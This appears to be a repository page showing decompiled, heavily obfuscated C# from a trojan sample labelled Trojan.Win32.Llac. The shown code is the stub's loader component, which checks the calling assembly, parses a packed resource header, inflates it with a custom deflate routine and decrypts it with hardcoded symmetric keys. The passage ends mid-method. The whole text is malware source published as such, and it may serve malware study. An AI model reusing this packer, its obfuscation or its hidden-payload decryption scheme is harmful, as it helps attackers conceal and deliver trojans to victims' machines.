MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2/_0003/_0003.cs
2022-08-18 06:28:56 -05:00

2051 lines
49 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe
using \u0003;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0003
{
internal sealed class \u0003
{
private static bool \u0002([In] Assembly obj0, [In] Assembly obj1)
{
byte[] publicKey1 = obj0.GetName().GetPublicKey();
label_19:
byte[] publicKey2 = obj1.GetName().GetPublicKey();
int num1 = publicKey2 == null ? 1 : 0;
int num2 = 0;
int num3;
int num4;
int num5;
if (num2 == 0)
{
if (num2 == 0)
{
num4 = publicKey1 == null ? 1 : 0;
num3 = num1;
}
else
{
num5 = num1;
goto label_15;
}
}
else
goto label_17;
label_5:
if (num3 != num4)
return false;
int num6;
if (publicKey2 != null)
num6 = 0;
else
goto label_18;
label_9:
int index = num6;
if (false)
goto label_19;
else
goto label_16;
label_15:
index = num5;
label_16:
int num7 = index;
num2 = publicKey2.Length;
num1 = num7;
label_17:
int num8 = num2;
if (num1 < num8)
{
num3 = (int) publicKey2[index];
num4 = (int) publicKey1[index];
if (true)
{
if (num3 != num4)
{
int num9 = 0;
if (num9 == 0)
return num9 != 0;
num6 = num9;
goto label_9;
}
else
{
num5 = index + 1;
goto label_15;
}
}
else
goto label_5;
}
label_18:
return true;
}
public static byte[] \u0002([In] byte[] obj0)
{
Assembly callingAssembly = Assembly.GetCallingAssembly();
Assembly executingAssembly = Assembly.GetExecutingAssembly();
if ((object) callingAssembly != (object) executingAssembly)
goto label_49;
label_4:
\u0003.\u0003.\u0007 obj1 = new \u0003.\u0003.\u0007(obj0);
byte[] numArray1 = new byte[0];
int num1 = obj1.\u0003();
int num2;
int num3;
int num4;
if (num1 == 67324752)
{
short num5 = (short) obj1.\u0002();
int num6 = obj1.\u0002();
int num7 = obj1.\u0002();
if (num1 != 67324752 || num5 != (short) 20 || num6 != 0 || num7 != 8)
throw new FormatException("Wrong Header Signature");
obj1.\u0003();
obj1.\u0003();
obj1.\u0003();
int length = obj1.\u0003();
int count1 = obj1.\u0002();
int count2 = obj1.\u0002();
int num8;
int num9;
do
{
if (count1 > 0)
{
byte[] buffer = new byte[(int) checked ((uint) count1)];
obj1.Read(buffer, 0, count1);
}
\u0003.\u0003.\u0001 obj2;
if (true)
{
int num10 = count2;
byte[] buffer1;
while (true)
{
if (num10 > 0)
{
byte[] buffer2 = new byte[(int) checked ((uint) count2)];
obj1.Read(buffer2, 0, count2);
}
buffer1 = new byte[(int) checked ((uint) unchecked (obj1.Length - obj1.Position))];
num8 = obj1.Read(buffer1, 0, buffer1.Length);
num9 = 0;
if (num9 == 0)
{
if (num9 != 0)
num10 = num8;
else
break;
}
else
goto label_50;
}
obj2 = new \u0003.\u0003.\u0001(buffer1);
}
numArray1 = new byte[(int) checked ((uint) length)];
obj2.\u0002(numArray1, 0, numArray1.Length);
}
while (false);
goto label_48;
label_50:
num4 = num9;
num3 = num8;
goto label_20;
}
else
{
num2 = num1 >> 24;
num3 = num1 - (num2 << 24);
}
label_19:
num4 = 8223355;
label_20:
if (num3 != num4)
throw new FormatException("Unknown Header");
int length1;
int num11;
if (num2 == 1)
{
length1 = obj1.\u0003();
numArray1 = new byte[(int) checked ((uint) length1)];
num11 = 0;
goto label_25;
}
else
goto label_26;
label_24:
int num12;
byte[] buffer3;
new \u0003.\u0003.\u0001(buffer3).\u0002(numArray1, num11, num12);
num11 += num12;
label_25:
if (num11 < length1)
{
int length2 = obj1.\u0003();
num12 = obj1.\u0003();
buffer3 = new byte[(int) checked ((uint) length2)];
obj1.Read(buffer3, 0, buffer3.Length);
goto label_24;
}
label_26:
if (num2 == 2)
{
byte[] numArray2 = new byte[8]
{
(byte) 158,
(byte) 167,
(byte) 150,
(byte) 108,
(byte) 105,
(byte) 54,
(byte) 208,
(byte) 121
};
byte[] numArray3 = new byte[8]
{
(byte) 25,
(byte) 185,
(byte) 201,
(byte) 135,
(byte) 102,
(byte) 37,
(byte) 169,
(byte) 251
};
using (\u0002 obj3 = new \u0002())
{
using (ICryptoTransform cryptoTransform = obj3.\u0002(numArray2, numArray3, true))
numArray1 = \u0003.\u0003.\u0002(cryptoTransform.TransformFinalBlock(obj0, 4, obj0.Length - 4));
}
}
if (num2 == 3)
{
byte[] numArray4 = new byte[16]
{
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1,
(byte) 1
};
byte[] numArray5 = new byte[16]
{
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2,
(byte) 2
};
using (\u0001 obj4 = new \u0001())
{
ICryptoTransform cryptoTransform = obj4.\u0002(numArray4, numArray5, true);
try
{
numArray1 = \u0003.\u0003.\u0002(cryptoTransform.TransformFinalBlock(obj0, 4, obj0.Length - 4));
}
finally
{
if (cryptoTransform == null)
goto label_42;
label_41:
cryptoTransform.Dispose();
label_42:
if (false)
goto label_41;
}
}
}
label_48:
obj1.Close();
return numArray1;
label_49:
int num13 = \u0003.\u0003.\u0002(executingAssembly, callingAssembly) ? 1 : 0;
if (true)
{
if (num13 == 0)
{
if (true)
return (byte[]) null;
goto label_24;
}
else
goto label_4;
}
else
{
num3 = num13;
goto label_19;
}
}
internal sealed class \u0001
{
private static readonly int[] \u0001;
private static readonly int[] \u0002;
private static readonly int[] \u0003;
private static readonly int[] \u0004;
private int \u0001;
private int \u0002;
private int \u0003;
private int \u0004;
private int \u0005;
private bool \u0001;
private \u0003.\u0003.\u0002 \u0001;
private \u0003.\u0003.\u0003 \u0001;
private \u0003.\u0003.\u0005 \u0001;
private \u0003.\u0003.\u0004 \u0001;
private \u0003.\u0003.\u0004 \u0002;
public \u0001([In] byte[] obj0)
{
this.\u0001 = new \u0003.\u0003.\u0002();
this.\u0001 = new \u0003.\u0003.\u0003();
this.\u0001 = 2;
this.\u0001.\u0002(obj0, 0, obj0.Length);
}
private bool \u0002()
{
int num1 = this.\u0001.\u0002();
label_30:
int num2;
int num3;
int num4;
while (true)
{
int num5 = num1;
if (true)
goto label_31;
label_4:
if (num5 < 258)
break;
label_6:
if (((num2 = this.\u0001.\u0002(this.\u0001)) & -256) != 0)
{
if (num2 >= 257)
{
this.\u0003 = \u0003.\u0003.\u0001.\u0001[num2 - 257];
this.\u0002 = \u0003.\u0003.\u0001.\u0002[num2 - 257];
}
else
goto label_8;
}
else
{
this.\u0001.\u0002(num2);
num5 = --num1;
goto label_4;
}
label_14:
int num6 = this.\u0002;
label_15:
if (true)
{
if (num6 > 0)
{
this.\u0001 = 8;
int num7 = this.\u0001.\u0002(this.\u0002);
if (num7 >= 0)
{
this.\u0001.\u0002(this.\u0002);
this.\u0003 += num7;
}
else
goto label_18;
}
this.\u0001 = 9;
}
else
goto label_26;
label_21:
int index1 = this.\u0002.\u0002(this.\u0001);
if (index1 >= 0)
{
this.\u0004 = \u0003.\u0003.\u0001.\u0003[index1];
this.\u0002 = \u0003.\u0003.\u0001.\u0004[index1];
}
else
goto label_22;
label_24:
int num8;
if (this.\u0002 > 0)
{
this.\u0001 = 10;
num8 = this.\u0001.\u0002(this.\u0002);
num6 = num8;
}
else
goto label_29;
label_26:
if (num6 >= 0)
{
this.\u0001.\u0002(this.\u0002);
this.\u0004 += num8;
}
else
goto label_27;
label_29:
this.\u0001.\u0002(this.\u0003, this.\u0004);
num1 -= this.\u0003;
this.\u0001 = 7;
continue;
label_31:
int num9;
for (int index2 = 258; num5 >= index2; num5 = num9)
{
num9 = this.\u0001;
if (true)
{
int num10 = 7;
if (num10 != 0)
{
switch (num9 - num10)
{
case 0:
goto label_6;
case 1:
goto label_14;
case 2:
goto label_21;
case 3:
goto label_24;
default:
goto label_30;
}
}
else
index2 = num10;
}
else
{
num3 = num9;
goto label_9;
}
}
num4 = 1;
if (num4 == 0)
{
num6 = num4;
goto label_15;
}
else
goto label_3;
}
return true;
label_8:
num3 = num2;
label_9:
if (num3 >= 0)
goto label_11;
label_10:
return false;
label_11:
this.\u0002 = (\u0003.\u0003.\u0004) null;
this.\u0001 = (\u0003.\u0003.\u0004) null;
this.\u0001 = 2;
if (true)
return true;
goto label_10;
label_18:
return false;
label_22:
return false;
label_27:
return false;
label_3:
return num4 != 0;
}
private bool \u0003()
{
int num1 = 0;
if (num1 == 0)
{
if (num1 == 0)
{
int num2 = this.\u0001;
switch (num2)
{
case 2:
goto label_35;
case 3:
this.\u0005 = num2 = this.\u0001.\u0002(16);
break;
case 4:
label_19:
if (this.\u0001.\u0002(16) < 0)
return false;
this.\u0001.\u0002(16);
this.\u0001 = 5;
goto case 5;
case 5:
num1 = this.\u0001.\u0002(this.\u0001, this.\u0005);
goto label_23;
case 6:
if (!this.\u0001.\u0002(this.\u0001))
return false;
this.\u0001 = this.\u0001.\u0002();
this.\u0002 = this.\u0001.\u0003();
if (true)
{
this.\u0001 = 7;
goto case 7;
}
else
break;
case 7:
case 8:
case 9:
case 10:
return this.\u0002();
case 12:
return false;
default:
return false;
}
if (true)
{
if (num2 < 0)
return false;
this.\u0001.\u0002(16);
this.\u0001 = 4;
goto label_19;
}
else
goto label_24;
}
else
goto label_38;
label_35:
if (this.\u0001)
{
this.\u0001 = 12;
return false;
}
label_37:
int num3 = this.\u0001.\u0002(3);
label_38:
if (num3 < 0)
return false;
this.\u0001.\u0002(3);
if (true)
{
if ((num3 & 1) != 0)
this.\u0001 = true;
switch (num3 >> 1)
{
case 0:
this.\u0001.\u0002();
this.\u0001 = 3;
goto label_12;
case 1:
this.\u0001 = \u0003.\u0003.\u0004.\u0001;
break;
case 2:
this.\u0001 = new \u0003.\u0003.\u0005();
this.\u0001 = 6;
goto label_12;
default:
goto label_12;
}
}
if (true)
{
this.\u0002 = \u0003.\u0003.\u0004.\u0002;
this.\u0001 = 7;
}
else
goto label_37;
label_12:
if (true)
return true;
goto label_35;
}
label_23:
int num4 = num1;
label_24:
this.\u0005 -= num4;
if (this.\u0005 != 0)
return !this.\u0001.\u0002();
this.\u0001 = 2;
return true;
}
public int \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
int num1 = 0;
int num2;
while (true)
{
if (num1 == 0)
{
num2 = 0;
goto label_15;
}
label_6:
int num3 = num2;
int num4;
int num5;
if (true)
{
int num6 = num4;
num2 = num3 + num6;
obj2 -= num4;
num5 = obj2;
}
else
goto label_13;
label_8:
if (num5 == 0)
break;
label_10:
num5 = this.\u0003() ? 1 : 0;
if (true)
{
if (num5 == 0)
num3 = this.\u0001.\u0003();
else
goto label_15;
}
else
goto label_8;
label_13:
if (num3 <= 0 || this.\u0001 == 11)
goto label_14;
label_15:
int num7;
do
{
num7 = this.\u0001;
if (true)
{
if (num7 == 11)
goto label_10;
}
else
goto label_5;
}
while (false);
goto label_16;
label_5:
num1 = num7;
continue;
label_16:
num4 = this.\u0001.\u0002(obj0, obj1, obj2);
obj1 += num4;
goto label_6;
}
return num2;
label_14:
return num2;
}
static \u0001()
{
do
{
int length1 = 29;
label_1:
int[] numArray1 = new int[length1];
// ISSUE: field reference
RuntimeHelpers.InitializeArray((Array) numArray1, __fieldref (\u0004.\u0001));
\u0003.\u0003.\u0001.\u0001 = numArray1;
while (true)
{
\u0003.\u0003.\u0001.\u0002 = new int[29]
{
0,
0,
0,
0,
0,
0,
0,
0,
1,
1,
1,
1,
2,
2,
2,
2,
3,
3,
3,
3,
4,
4,
4,
4,
5,
5,
5,
5,
0
};
if (true)
{
if (true)
\u0003.\u0003.\u0001.\u0003 = new int[30]
{
1,
2,
3,
4,
5,
7,
9,
13,
17,
25,
33,
49,
65,
97,
129,
193,
257,
385,
513,
769,
1025,
1537,
2049,
3073,
4097,
6145,
8193,
12289,
16385,
24577
};
else
continue;
}
int length2 = 30;
if (length2 == 0)
{
length1 = length2;
goto label_1;
}
else
{
int[] numArray2 = new int[length2];
// ISSUE: field reference
RuntimeHelpers.InitializeArray((Array) numArray2, __fieldref (\u0004.\u0001));
\u0003.\u0003.\u0001.\u0004 = numArray2;
break;
}
}
}
while (false);
}
}
internal sealed class \u0002
{
private byte[] \u0001;
private int \u0001 = 0;
private int \u0002 = 0;
private uint \u0001 = 0;
private int \u0003 = 0;
public int \u0002([In] int obj0)
{
label_0:
int num1 = this.\u0003;
int num2;
while (true)
{
int num3 = obj0;
if (num1 < num3)
goto label_14;
label_5:
long num4 = (long) this.\u0001;
int num5 = 1;
int num6 = obj0;
label_6:
int num7 = 31;
int num8;
int num9;
while (true)
{
int num10 = num6 & num7;
num8 = num5 << num10;
num9 = 1;
if (num9 != 0)
{
while (true)
{
if (true)
{
if (num9 == 0)
{
num6 = num9;
num5 = num8;
goto label_6;
}
else
goto label_11;
}
}
num7 = num9;
num6 = num9;
num5 = num8;
}
else
break;
}
label_11:
long num11 = (long) (num8 - num9);
num2 = (int) (num4 & num11);
if (false)
{
num1 = num2;
continue;
}
goto label_3;
label_14:
if (this.\u0001 != this.\u0002)
{
\u0003.\u0003.\u0002 obj1 = this;
int num12 = (int) obj1.\u0001;
byte[] numArray = this.\u0001;
\u0003.\u0003.\u0002 obj2 = this;
int num13;
int num14 = num13 = obj2.\u0001;
obj2.\u0001 = num13 + 1;
int index = num14;
int num15 = ((int) numArray[index] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0001++] & (int) byte.MaxValue) << 8) << this.\u0003;
obj1.\u0001 = (uint) (num12 | num15);
if (true)
{
this.\u0003 += 16;
goto label_5;
}
else
goto label_0;
}
else
break;
}
return -1;
label_3:
return num2;
}
public void \u0002([In] int obj0)
{
label_0:
this.\u0001 >>= obj0;
label_1:
if (true)
{
label_6:
this.\u0003 -= obj0;
do
{
if (true)
{
if (false)
goto label_1;
}
else
goto label_6;
}
while (false);
}
else
goto label_0;
}
[SpecialName]
public int \u0002() => this.\u0003;
[SpecialName]
public int \u0003()
{
int num1 = this.\u0002;
int num2;
while (true)
{
int num3 = this.\u0001;
int num4 = num1 - num3;
if (true)
{
if (false)
{
num1 = num4;
}
else
{
num1 = num4;
break;
}
}
else
{
num2 = num4;
goto label_5;
}
}
goto label_8;
label_5:
if (true)
return num2;
num1 = num2;
label_8:
int num5 = this.\u0003 >> 3;
num2 = num1 + num5;
goto label_5;
}
public void \u0002()
{
this.\u0001 >>= this.\u0003 & 7;
this.\u0003 &= -8;
}
[SpecialName]
public bool \u0002() => this.\u0001 == this.\u0002;
public int \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
int num1 = 0;
int num2;
while (true)
{
int num3 = this.\u0003;
int num4 = 0;
if (num4 == 0)
goto label_5;
label_3:
num1 = num3 + num4;
continue;
label_5:
int num5;
int num6;
if (num4 == 0)
{
if (true)
{
if (num3 <= num4 || obj2 <= 0)
{
num2 = obj2;
}
else
{
obj0[obj1++] = (byte) this.\u0001;
goto label_23;
}
}
else
{
num6 = num4;
num5 = num3;
goto label_13;
}
}
else
goto label_21;
label_9:
int num7;
if (num2 != 0)
num7 = this.\u0002;
else
break;
label_12:
int num8 = this.\u0001;
int num9 = num7 - num8;
num5 = obj2;
num6 = num9;
label_13:
if (num5 > num6)
obj2 = num9;
Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2);
this.\u0001 += obj2;
if ((this.\u0001 - this.\u0002 & 1) != 0)
{
this.\u0001 = (uint) this.\u0001[this.\u0001++] & (uint) byte.MaxValue;
this.\u0003 = 8;
}
if (true)
{
if (true)
{
int num10 = num1;
if (false)
{
num7 = num10;
goto label_12;
}
else
{
num4 = obj2;
num3 = num10;
}
}
else
break;
}
else
goto label_23;
label_21:
num2 = num3 + num4;
if (false)
goto label_9;
else
goto label_2;
label_23:
this.\u0001 >>= 8;
this.\u0003 -= 8;
obj2--;
int num11 = num1;
num4 = 1;
num3 = num11;
goto label_3;
}
return num1;
label_2:
return num2;
}
public void \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
if (true)
goto label_6;
label_4:
this.\u0003 += 8;
label_5:
this.\u0001 = obj0;
this.\u0001 = obj1;
int num;
this.\u0002 = num;
return;
label_6:
if (this.\u0001 < this.\u0002)
throw new InvalidOperationException();
num = obj1 + obj2;
if (0 > obj1 || obj1 > num || num > obj0.Length)
throw new ArgumentOutOfRangeException();
if ((obj2 & 1) != 0)
{
this.\u0001 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0003);
goto label_4;
}
else
goto label_5;
}
}
internal sealed class \u0003
{
private byte[] \u0001 = new byte[32768];
private int \u0001 = 0;
private int \u0002 = 0;
public void \u0002([In] int obj0)
{
int num1;
if (true)
{
\u0003.\u0003.\u0003 obj = this;
int num2;
num1 = num2 = obj.\u0002;
obj.\u0002 = num2 + 1;
}
int num3 = num1;
if (false)
goto label_2;
label_1:
if (num3 != 32768)
{
byte[] numArray = this.\u0001;
\u0003.\u0003.\u0003 obj = this;
int num4;
int num5 = num4 = obj.\u0001;
obj.\u0001 = num4 + 1;
int index = num5;
int num6 = (int) (byte) obj0;
numArray[index] = (byte) num6;
num3 = 3;
}
else
goto label_7;
label_2:
if (true)
{
if (num3 != 0)
{
this.\u0001 &= (int) short.MaxValue;
return;
}
}
else
goto label_1;
label_7:
throw new InvalidOperationException();
}
private void \u0002([In] int obj0, [In] int obj1, [In] int obj2)
{
int num1 = 0;
if (num1 == 0)
{
if (num1 == 0)
goto label_5;
}
else
goto label_6;
label_2:
if (false)
return;
byte[] numArray = this.\u0001;
\u0003.\u0003.\u0003 obj = this;
int num2;
int num3 = num2 = obj.\u0001;
obj.\u0001 = num2 + 1;
int index = num3;
int num4 = (int) this.\u0001[obj0++];
numArray[index] = (byte) num4;
this.\u0001 &= (int) short.MaxValue;
goto label_10;
label_5:
num1 = 0;
label_6:
int num5;
int num6;
if (num1 == 0)
{
int num7 = obj1;
num6 = num7 - 1;
num5 = num7;
}
else
goto label_10;
label_8:
obj1 = num6;
if (num5 <= 0)
return;
goto label_2;
label_10:
num5 = obj0;
num6 = (int) short.MaxValue;
if (num6 != 0)
{
obj0 = num5 & num6;
goto label_5;
}
else
goto label_8;
}
public void \u0002([In] int obj0, [In] int obj1)
{
if ((this.\u0002 += obj0) > 32768)
throw new InvalidOperationException();
int sourceIndex = this.\u0001 - obj1 & (int) short.MaxValue;
int num = 32768 - obj0;
if (sourceIndex <= num && this.\u0001 < num)
{
if (obj0 <= obj1)
{
Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0001, obj0);
this.\u0001 += obj0;
}
else
{
while (obj0-- > 0)
this.\u0001[this.\u0001++] = this.\u0001[sourceIndex++];
}
}
else
this.\u0002(sourceIndex, obj0, obj1);
}
public int \u0002([In] \u0003.\u0003.\u0002 obj0, [In] int obj1)
{
int val1_1 = obj1;
int val1_2;
int val2_1;
if (true)
{
int val2_2 = 32768;
if (val2_2 != 0)
val2_2 -= this.\u0002;
int num = Math.Min(val1_1, val2_2);
val2_1 = obj0.\u0003();
val1_2 = num;
}
else
goto label_16;
label_15:
int num1 = Math.Min(val1_2, val2_1);
if (true)
{
obj1 = num1;
val1_1 = 32768;
}
else
val1_1 = num1;
label_16:
int num2 = this.\u0001;
int num3;
while (true)
{
int num4 = val1_1 - num2;
int num5;
int num6;
do
{
val1_2 = obj1;
val2_1 = num4;
if (true)
{
if (val1_2 > val2_1)
{
num3 = obj0.\u0002(this.\u0001, this.\u0001, num4);
num5 = num3;
num6 = num4;
if (true)
{
if (num5 == num6)
num3 += obj0.\u0002(this.\u0001, 0, obj1 - num4);
}
else
goto label_2;
}
else
num3 = obj0.\u0002(this.\u0001, this.\u0001, obj1);
this.\u0001 = this.\u0001 + num3 & (int) short.MaxValue;
}
else
goto label_15;
}
while (false);
break;
label_2:
num2 = num6;
val1_1 = num5;
}
this.\u0002 += num3;
return num3;
}
public int \u0002() => 32768 - this.\u0002;
public int \u0003() => this.\u0002;
public int \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
int num1 = this.\u0001;
int num2 = obj2;
int num3;
while (true)
{
int num4 = this.\u0002;
if (num2 <= num4)
goto label_18;
else
goto label_17;
label_3:
int num5;
int num6;
if (num6 != 0)
{
num2 = num5;
continue;
}
label_4:
num1 = num5 & (int) short.MaxValue;
label_5:
num3 = obj2;
num5 = obj2;
num6 = 8;
int num7;
int num8;
if (num6 != 0)
{
int length;
if (num6 != 0)
{
if (num6 != 0)
{
int num9 = num1;
length = num5 - num9;
int num10 = length;
num6 = 0;
num5 = num10;
}
else
goto label_4;
}
if (num5 > num6)
{
Array.Copy((Array) this.\u0001, 32768 - length, (Array) obj0, obj1, length);
int num11 = obj1;
num8 = length;
num7 = num11;
}
else
goto label_12;
}
else
goto label_3;
label_11:
obj1 = num7 + num8;
obj2 = num1;
label_12:
Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2);
this.\u0002 -= num3;
if (this.\u0002 >= 0)
{
if (false)
goto label_5;
else
goto label_15;
}
else
break;
label_17:
obj2 = this.\u0002;
goto label_5;
label_18:
num7 = this.\u0001 - this.\u0002;
num8 = obj2;
if (true)
{
int num12 = num7 + num8;
num6 = 0;
num5 = num12;
goto label_3;
}
else
goto label_11;
}
throw new InvalidOperationException();
label_15:
return num3;
}
}
internal sealed class \u0004
{
private short[] \u0001;
public static readonly \u0003.\u0003.\u0004 \u0001;
public static readonly \u0003.\u0003.\u0004 \u0002;
static \u0004()
{
label_0:
byte[] numArray = new byte[288];
int num = 0;
if (false)
goto label_6;
else
goto label_16;
label_4:
while (num < 280)
numArray[num++] = (byte) 7;
goto label_8;
label_6:
if (true)
numArray[num++] = (byte) 8;
else
goto label_13;
label_8:
if (num >= 288)
{
if (true)
{
\u0003.\u0003.\u0004.\u0001 = new \u0003.\u0003.\u0004(numArray);
numArray = new byte[32];
num = 0;
while (num < 32)
numArray[num++] = (byte) 5;
}
else
goto label_0;
}
else
goto label_6;
label_13:
if (false)
goto label_4;
label_14:
\u0003.\u0003.\u0004.\u0002 = new \u0003.\u0003.\u0004(numArray);
if (true)
return;
goto label_13;
label_16:
while (num < 144)
numArray[num++] = (byte) 8;
for (; num < 256; numArray[num++] = (byte) 9)
{
if (false)
goto label_14;
}
goto label_4;
}
public \u0004([In] byte[] obj0) => this.\u0002(obj0);
private void \u0002([In] byte[] obj0)
{
int[] numArray1 = new int[16];
label_1:
int[] numArray2 = new int[16];
for (int index1 = 0; index1 < obj0.Length; ++index1)
{
int num1 = (int) obj0[index1];
if (num1 <= 0)
continue;
int[] numArray3;
int index2;
int num2 = (numArray3 = numArray1)[(IntPtr) (index2 = num1)] + 1;
numArray3[index2] = num2;
}
int num3 = 0;
int length = 512;
for (int index = 1; index <= 15; ++index)
{
numArray2[index] = num3;
num3 += numArray1[index] << 16 - index;
if (index >= 10)
{
int num4 = numArray2[index] & 130944;
if (true)
{
if (true)
{
int num5 = num3 & 130944;
if (true)
length += num5 - num4 >> 16 - index;
else
goto label_1;
}
else
goto label_18;
}
else
goto label_28;
}
}
this.\u0001 = new short[(int) checked ((uint) length)];
int num6 = 512;
int num7 = 15;
label_14:
int index3 = num7;
goto label_24;
label_16:
int num8 = numArray1[index3] << 16 - index3;
int num9;
num7 = num9 - num8;
int num10;
if (true)
{
num3 = num7;
num10 = num3 & 130944;
}
else
goto label_14;
label_18:
int num11;
for (int index4 = num10; index4 < num11; index4 = num9 + 128)
{
if (true)
{
this.\u0001[(int) \u0003.\u0003.\u0006.\u0002(index4)] = (short) (-num6 << 4 | index3);
num6 += 1 << index3 - 9;
num9 = index4;
if (false)
goto label_16;
}
else
goto label_18;
}
--index3;
label_24:
if (index3 >= 10)
{
num11 = num3 & 130944;
num9 = num3;
goto label_16;
}
label_25:
int index5 = 0;
goto label_37;
label_28:
int index6;
int index7;
int num12;
int num13;
if (true)
{
if (index6 <= 9)
{
do
{
this.\u0001[index7] = (short) (index5 << 4 | index6);
index7 += 1 << index6;
}
while (index7 < 512);
}
else
{
int num14 = (int) this.\u0001[index7 & 511];
int num15 = 1;
int num16 = num14 & 15;
if (true)
{
int num17 = num16 & 31;
int num18 = num15 << num17;
int num19 = -(num14 >> 4);
do
{
this.\u0001[num19 | index7 >> 9] = (short) (index5 << 4 | index6);
index7 += 1 << index6;
}
while (index7 < num18);
}
else
{
num13 = num16;
num12 = num15;
goto label_38;
}
}
numArray2[index6] = num3 + (1 << 16 - index6);
}
else
goto label_25;
label_36:
++index5;
label_37:
num12 = index5;
num13 = obj0.Length;
label_38:
if (num12 >= num13)
return;
index6 = (int) obj0[index5];
if (index6 != 0)
{
num3 = numArray2[index6];
index7 = (int) \u0003.\u0003.\u0006.\u0002(num3);
goto label_28;
}
else
goto label_36;
}
public int \u0002([In] \u0003.\u0003.\u0002 obj0)
{
int num1 = obj0.\u0002(9);
int num2;
int num3;
int num4;
int num5;
int num6;
int num7;
int num8;
while (true)
{
int index = num1;
if (num1 < 0)
goto label_20;
else
goto label_25;
label_3:
int num9;
if (num5 < 0)
{
num9 = -(num2 >> 4);
int num10 = num2 & 15;
num5 = obj0.\u0002(num10);
}
else
{
obj0.\u0002(num2 & 15);
num7 = num2;
if (false)
{
num5 = num7;
goto label_12;
}
else
break;
}
label_8:
if (true)
{
if (true)
num6 = num5;
else
goto label_18;
}
else
goto label_3;
label_11:
index = num6;
label_12:
if (true)
{
if (num5 >= 0)
{
num3 = (int) this.\u0001[num9 | index >> 9];
if (false)
goto label_20;
else
goto label_15;
}
else
{
int num11 = obj0.\u0002();
int num12 = obj0.\u0002(num11);
int num13 = (int) this.\u0001[num9 | num12 >> 9];
if ((num13 & 15) <= num11)
{
obj0.\u0002(num13 & 15);
num5 = num13;
}
else
goto label_19;
}
}
else
goto label_8;
label_18:
num8 = num5 >> 4;
if (false)
{
num1 = num8;
continue;
}
goto label_5;
label_20:
num4 = obj0.\u0002();
num2 = (int) this.\u0001[obj0.\u0002(num4)];
if (num2 >= 0)
{
num5 = num2;
num6 = 15;
if (num6 == 0)
goto label_11;
else
goto label_22;
}
else
goto label_24;
label_25:
num5 = num2 = (int) this.\u0001[index];
goto label_3;
}
return num7 >> 4;
label_15:
obj0.\u0002(num3 & 15);
return num3 >> 4;
label_5:
return num8;
label_19:
return -1;
label_22:
if ((num5 & num6) <= num4)
{
obj0.\u0002(num2 & 15);
return num2 >> 4;
}
label_24:
return -1;
}
}
internal sealed class \u0005
{
private static readonly int[] \u0001;
private static readonly int[] \u0002;
private byte[] \u0001;
private byte[] \u0002;
private \u0003.\u0003.\u0004 \u0001;
private int \u0001;
private int \u0002;
private int \u0003;
private int \u0004;
private int \u0005;
private int \u0006;
private byte \u0001;
private int \u0007;
private static readonly int[] \u0003;
public bool \u0002([In] \u0003.\u0003.\u0002 obj0)
{
while (true)
{
switch (this.\u0001)
{
case 0:
this.\u0002 = obj0.\u0002(5);
if (this.\u0002 >= 0)
{
this.\u0002 += 257;
obj0.\u0002(5);
this.\u0001 = 1;
goto case 1;
}
else
goto label_1;
case 1:
this.\u0003 = obj0.\u0002(5);
if (this.\u0003 >= 0)
{
++this.\u0003;
obj0.\u0002(5);
this.\u0005 = this.\u0002 + this.\u0003;
this.\u0002 = new byte[(int) checked ((uint) this.\u0005)];
this.\u0001 = 2;
goto case 2;
}
else
goto label_3;
case 2:
this.\u0004 = obj0.\u0002(4);
if (this.\u0004 >= 0)
{
this.\u0004 += 4;
obj0.\u0002(4);
this.\u0001 = new byte[19];
this.\u0007 = 0;
this.\u0001 = 3;
goto case 3;
}
else
goto label_6;
case 3:
for (; this.\u0007 < this.\u0004; ++this.\u0007)
{
int num = obj0.\u0002(3);
if (num < 0)
return false;
obj0.\u0002(3);
this.\u0001[\u0003.\u0003.\u0005.\u0003[this.\u0007]] = (byte) num;
}
this.\u0001 = new \u0003.\u0003.\u0004(this.\u0001);
this.\u0001 = (byte[]) null;
this.\u0007 = 0;
this.\u0001 = 4;
goto case 4;
case 4:
int num1;
while (((num1 = this.\u0001.\u0002(obj0)) & -16) == 0)
{
this.\u0002[this.\u0007++] = this.\u0001 = (byte) num1;
if (this.\u0007 == this.\u0005)
return true;
}
if (num1 >= 0)
{
if (num1 >= 17)
this.\u0001 = (byte) 0;
this.\u0006 = num1 - 16;
this.\u0001 = 5;
goto case 5;
}
else
goto label_17;
case 5:
int num2 = \u0003.\u0003.\u0005.\u0002[this.\u0006];
int num3 = obj0.\u0002(num2);
if (num3 >= 0)
{
obj0.\u0002(num2);
int num4 = num3 + \u0003.\u0003.\u0005.\u0001[this.\u0006];
while (num4-- > 0)
this.\u0002[this.\u0007++] = this.\u0001;
if (this.\u0007 != this.\u0005)
{
this.\u0001 = 4;
continue;
}
goto label_27;
}
else
goto label_22;
default:
continue;
}
}
label_1:
return false;
label_3:
return false;
label_6:
return false;
